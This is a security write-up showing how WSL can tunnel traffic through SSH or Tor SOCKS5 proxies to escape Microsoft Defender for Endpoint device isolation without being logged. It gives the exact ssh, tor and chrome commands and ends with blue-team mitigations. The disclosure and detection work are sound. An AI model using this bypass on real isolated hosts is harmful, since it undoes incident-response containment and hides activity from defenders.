Undetected

Windows / WSL

Defender for Endpoint

Bypassing Defender
Device Isolation via WSL

A walkthrough of how Windows Subsystem for Linux can be used to tunnel internet-bound traffic through a SOCKS5 proxy — fully bypassing Microsoft Defender for Endpoint device isolation, without triggering security logs.

Platform Windows + WSL

Privilege Required Standard User

Detection None

Methods SOCKS5 · Tor

Overview

When Microsoft Defender for Endpoint isolates a device, it cuts off all inbound and outbound network connections — leaving only the Defender management channel active. This is a common incident response action used to contain a compromised host.

However, Windows Subsystem for Linux (WSL) maintains its own network stack. By establishing a SOCKS5 proxy tunnel from within WSL and pointing Windows applications at 127.0.0.1, isolation can be silently bypassed — using only standard user privileges for the proxy step itself.

⚠

Note: Installing WSL requires administrator privileges. However, once WSL is present, exploiting this bypass requires only standard user access. This is a significant privilege boundary to be aware of.

🌐

Full Internet Access

Isolated host can reach any internet resource via the proxy.

🔓

Re-isolation Bypass

User can un-isolate the device in MS Security portal if credentials are available.

👻

No Log Entries

The technique does not appear in Defender Advanced Hunting logs.

Method A — Remote SOCKS5 Proxy

The first technique uses SSH to forward a local SOCKS5 port through WSL to an attacker-controlled (or otherwise reachable) remote server. Changing an application's proxy settings requires no elevated privileges.

Open WSL and create the SOCKS5 tunnel

SSH into a remote server with dynamic port forwarding, binding port 9090 locally.

Launch Chrome via Windows Command Prompt

Pass --proxy-server flag pointing to the local SOCKS5 listener.

Browse freely from the isolated host

All browser traffic exits via the remote proxy. Defender isolation is bypassed.

Step 1 — Establish the tunnel in WSL

WSL bash

# -D creates a dynamic SOCKS5 proxy on localhost:9090
ssh -D 9090 -N user@your-remote-server.com

WSL — SSH SOCKS5 tunnel established

Step 2 — Launch Chrome via the proxy

Windows cmd

chrome.exe --proxy-server="socks5://127.0.0.1:9090"

Chrome launched with SOCKS5 proxy argument

Chrome now routes all traffic through the remote server. The isolated host has unrestricted internet access. If the user holds credentials for the Microsoft Security portal, they can also un-isolate the device from within this browser session.

Method B — Tor Network via WSL

No remote server? The same technique works using Tor — a built-in anonymous routing network accessible through WSL's package manager. This requires no external infrastructure and connects to the Tor network automatically.

Step 1 — Install Tor in WSL

WSL bash

sudo apt update && sudo apt install torbrowser-launcher -y

WSL — installing Tor from default repositories

Step 2 — Start the Tor SOCKS5 listener

WSL bash

tor # Binds SOCKS5 on 127.0.0.1:9050 by default

WSL — Tor SOCKS5 proxy running on port 9050

Step 3 — Launch Chrome over Tor

Windows cmd

chrome.exe --proxy-server="socks5://127.0.0.1:9050"

Chrome launched — routing via Tor SOCKS5

The isolated device is now browsing over the Tor network. Sites blocked by Defender — including tor.org itself — are fully reachable.

Confirmed — browsing tor.org from an "isolated" device

Browsing tor.org via Tor on isolated device

Detection Gap — No Log Evidence

A search through Microsoft Defender Advanced Hunting finds no events corresponding to the bypass activity. The SOCKS5 tunnel established inside WSL does not surface in Windows-level network telemetry.

Defender Advanced Hunting — no matching events

⛔

Detection gap confirmed. Neither the SSH tunnel nor the Tor connection appear in Defender for Endpoint logs. An analyst relying solely on MDE telemetry would have no indication the isolated device was communicating externally.

Mitigation Recommendations

Blue team mitigations to close or detect this gap:

Disable or restrict WSL via Group Policy

Prevent WSL from being used on managed endpoints unless explicitly required. This eliminates the attack surface entirely.

Monitor WSL process network activity

Instrument WSL2 VM-level traffic (e.g., via a network sensor on the virtual switch) to capture tunneling attempts that bypass Windows telemetry.

Alert on outbound SSH from WSL during isolation

Create detection rules for ssh or tor process spawns within WSL on devices that are tagged as isolated in MDE.

Restrict Chrome/Edge command-line arguments via policy

Use browser policy to block or audit the --proxy-server flag, which is not a typical user-facing argument.

Hero image credit: Graham — @cirriustech@infosec.exchange